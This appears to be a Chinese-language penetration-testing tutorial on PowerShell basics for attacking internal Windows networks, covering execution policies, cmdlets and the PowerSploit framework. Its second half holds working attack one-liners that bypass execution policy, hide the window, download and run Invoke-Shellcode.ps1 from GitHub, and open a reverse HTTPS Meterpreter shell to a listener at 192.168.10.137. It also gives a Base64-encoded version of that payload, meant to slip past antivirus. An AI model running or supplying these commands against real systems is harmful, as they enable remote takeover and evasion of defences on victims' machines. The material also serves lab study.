内网渗透之Windows PowerShell基础
/0x00 前言
主要参考《内网安全攻防》。
更多PowerShell的内容可参考:https://www.pstips.net/powershell-online-tutorials
0x01 PowerShell基本概念
Windows PowerShell是一种命令行外壳程序和脚本环境,可以看作是命令行提示符cmd.exe的扩展,其使命令行用户和脚本编写者可以利用.NET Framework的强大功能。只要可以在一台计算机上运行代码,就可以将PowerShell脚本文件(.ps1)下载到磁盘中执行(甚至无须将脚本文件写到磁盘中)。
PowerShell需要.NET环境的支持,同时支持.NET对象,其拥有以下特点:
- 在Windows 7以上版本是默认安装的;
- 脚本可以在内存中运行,不需要写入磁盘;
- 几乎不会触发杀毒软件;
- 可远程执行;
- 目前很多工具都是局域PowerShell开发的;
- 使Windows脚本的执行更为容易;
- cmd.exe的运行通常会被阻止,但PowerShell的运行通常不会被阻止;
- 可用于管理活动目录;
通过以下两个命令都可以查看PowerShell的版本:
1 | PS E:\> Get-Host |
0x02 PowerShell脚本
PowerShell脚本其实就是一个扩展名为”.ps1”的文件,其中包含一系列PowerShell命令,每个命令显示为独立的一行。
脚本运行
运行PowerShell脚本需要输入绝对路径,比如E:\test.ps1
。如果PowerShell脚本刚好在系统目录中,则只需要.\test.ps1
执行即可,这和Linux上执行Shell脚本是一样的。
当然,PowerShell是分32位和64位的。在64位的Windows上,同时存在x64和x86两个版本的PowerShell,并且这两个版本的执行策略互不影响,即相互独立。
x64版本的PowerShell的配置文件在%WinDir%\SysWOW64\WindowsPowerShell\v1.0\
目录下。
运行32位PowerShell脚本命令如下:
1 | powershell.exe -NoP -NonI -W Hidden -Exec Bypass |
运行64位PowerShell脚本命令如下:
1 | %WinDir%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass |
执行策略
为了防止使用者运行恶意脚本,PowerShell提供了一个执行策略。在默认情况下,这个执行策略被设置为“不能运行”。
如果PowerShell脚本不能运行,可以使用如下的cmdlet命令查询当前的执行策略:
1 | PS E:\> Get-ExecutionPolicy |
这里看到是Restricted即限制不能执行的意思。我们看下执行策略的几个值:
- Restricted:脚本不能运行(默认设置);
- RemoteSigned:在本地创建的脚本可以运行,但不能运行网上下载的脚本(拥有数字证书的除外);
- AllSigned:仅当脚本由受信任的发布者签名时才能运行;
- Unrestricted:允许所有脚本运行;
可以使用下面的cmdlet命令设置PowerShell的执行策略:
1 | PS E:\> Set-ExecutionPolicy <policy name> |
管道符
在PowerShell中也支持管道符|
的使用。
管道的作用就是将一个命令的输出作为另一个命令的输入,两个命令之间用|
连接。
0x03 PowerShell常用命令与利用技巧
在Windows命令提示符即cmd.exe中输入powershell
命令即可切入PowerShell命令行环境。也可以直接在当前目录Shift+右键>在此处打开PowerShell窗口(win10)。其中输入help命令可以显示帮助菜单:
1 | E:\>powershell |
常用命令
在PowerShell中,类似cmd命令的命令称为cmdlet命令。两者的命名规范一致,都采用“动词-名词”的方式,动词部分一般是Add、New、Get、Set、Remove等。命令的别名一般兼容Windows Command和Linux Shell。另外PowerShell命令不区分大小写。
几个常用命令:
几个常用的文件操作命令:
下面以文件操作为例:
- 新建目录:New-ltem whitecellclub-ltemType Directory;
- 新建文件:New-ltem light.txt-ltemType File;
- 删除目录:Remove-ltem whitecellclub;
- 显示文本内容:Get-Content test.txt;
- 设置文本内容:Set-Content test.txt-Value ‘’hello,word! ‘’;
- 追加内容:Add-Content light.txt-Value ‘’i love you ‘’;
- 清除内容:Clear-Content test.txt
PowerSploit——后渗透测试框架
PowerSploit是一款基于PowerShell的后渗透测试框架,其中包含很多PowerShell脚本,主要用于渗透测试中的信息收集、权限提升、权限维持。
项目地址:https://github.com/PowerShellMafia/PowerSploit
它包含以下几个模块:
- CodeExecution:在目标机器执行代码;
- ScriptModification:修改或准备脚本以在受感染的计算机上执行;
- Persistence:向PowerShell脚本添加持久性功能;
- AntivirusBypass:使PowerShell绕过防病毒;
- Exfiltration:窃取数据;
- Mayhem:使用PowerShell引起一般的混乱;
- Privesc:帮助提升目标特权的工具;
- Recon:在渗透测试的侦察阶段提供帮助的工具;
利用技巧
由前面知道,要想运行PowerShell脚本,必须使用管理员权限将执行策略从Restricted改为Unrestricted。
Bypass本地权限并执行
将PowerShell脚本文件test.ps1上传至目标服务器。在命令行环境下,执行如下命令,绕过安全策略,在目标服务器本地执行该脚本:
1 | PowerShell.exe -ExecutionPolicy Bypass -File test.ps1 |
示例:
在实际的内网渗透中,将PowerSploit中Privesc模块的PowerUp.ps1脚本上传到目标服务器中,在目标本地执行脚本文件,命令如下:
1 | powershell.exe -exec bypass -Command "& {Import-Module E:\PowerUp.ps1; Invoke-AllChecks}" |
这里PowerUp旨在成为依赖错误配置的常见Windows特权升级向量的交换所。运行Invoke-AllChecks将输出所有可识别的漏洞以及任何滥用功能的规范。换句话说,Invoke-AllChecks函数将检查目标主机的攻击向量以进行权限提升
从网站服务器中下载脚本,Bypass本地权限并隐藏执行
下载脚本的命令如下:
1 | PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonI IEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters] |
几个常用参数说明如下:
-ExecutionPolicy Bypass(-Exec Bypass):绕过执行安全策略,这个参数非常重要。在默认 情况下,PowerShell 的安全策略规定了 PowerShell 不允许运行命令和文件。通过设置这个 参数,可以绕过任意安全保护规则。在渗透测试中,通常每次运行 PowerShell 脚本时都要 使用这个参数;
- -WindowStyle Hidden(-W Hidden):隐藏窗口;
- -Nonlnteractive(-NonI):非交互模式。PowerShell不为用户提供交互的提示;
- -NoProfile(-NoP):PowerShell控制台不加载当前用户的配置文件;
- -noexit:执行后不退出Shell。这在使用键盘记录等脚本时非常重要;
- -NoLogo:启动不显示版权标志的PowerShell;
这里使用PowerSploit中CodeExecution模块中Invoke-Shellcode.ps1脚本在目标机器上执行Meterpreter Shell。
这里我们需要知道使用什么参数,直接看源码了解如何调用反向HTTPS Meterpreter Shell:
因此,最终构造如下payload:
1 | PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonI IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1"); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.10.137 -Lport 666 |
先在Kali上打开MSF,使用后门模块exploit/multi/handler
,并选择payload为windows/meterpreter/reverse_https
,接着设置监听地址和端口后启动监听:
然后在Win10中的PowerShell中输入payload,发现会报如下错误:
此时msf是接收到反弹的请求的,但是并不会成功获得反弹的Meterpreter Shell:
那我们换个环境,在Win7上测试一下,经过几番折腾,去掉几个payload的参数就能成功执行反弹shell(注意,在cmd命令行下双引号要改为单引号,不然报错):
1 | PowerShell.exe -ExecutionPolicy Bypass -NoProfile IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.10.137 -Lport 666 |
直接在win7的cmd中输入payload:
此时在Kali的msf中成功获取到Meterpreter Shell:
这里注意,不能直接在win7的PowerShell终端输入该payload,会显示如下错误:
这可能是win7和win10的PowerShell版本不一致导致的某些差异,具体原因还未知,但我们可以使用如下形式在win7的PowerShell终端来执行反弹shell,简单地说就是设置执行策略为无限制,然后直接远程下载恶意PowerShell脚本并执行:
1 | Set-ExecutionPolicy Unrestricted; IEX(New-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1"); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.10.137 -Lport 666 |
在msf中同样获取到反弹shell:
使用Base64对PowerShell命令进行编码
使用Base64编码PowerShell命令可以起到混淆和压缩代码的作用,避免一些特殊字符导致脚本被杀毒软件所查杀。这里使用大佬写的一个Python脚本文件ps_encoder.py,其使用Base64编码封装的PowerShell命令包,其目的是混淆和压缩代码。
该脚本编码的对象必须是文本文件,这里需要先将命令保存为文本文件,然后调用该脚本编码即可:
1 | root@kali:~/Desktop# echo "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.10.137 -Lport 666 -Force" >raw.txt |
得到Base64编码后的命令内容之后,直接在目标主机的cmd终端上执行如下命令:
1 | PowerShell.exe -NoP -NonI -Exec Bypass -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBhAHcALgBnAGkAdABoAHUAYgB1AHMAZQByAGMAbwBuAHQAZQBuAHQALgBjAG8AbQAvAGMAaABlAGUAdAB6AC8AUABvAHcAZQByAFMAcABsAG8AaQB0AC8AbQBhAHMAdABlAHIALwBDAG8AZABlAEUAeABlAGMAdQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQAtAFMAaABlAGwAbABjAG8AZABlAC4AcABzADEAJwApADsAIABJAG4AdgBvAGsAZQAtAFMAaABlAGwAbABjAG8AZABlACAALQBQAGEAeQBsAG8AYQBkACAAdwBpAG4AZABvAHcAcwAvAG0AZQB0AGUAcgBwAHIAZQB0AGUAcgAvAHIAZQB2AGUAcgBzAGUAXwBoAHQAdABwAHMAIAAtAEwAaABvAHMAdAAgADEAOQAyAC4AMQA2ADgALgAxADAALgAxADMANwAgAC0ATABwAG8AcgB0ACAANgA2ADYAIAAtAEYAbwByAGMAZQAKAA== |
这里为了看下有没有错误就不添加-W Hidden
参数设置隐藏窗口了,而且添加了还没成功反弹shell:
然后在Kali的msf中获取到Meterpreter Shell: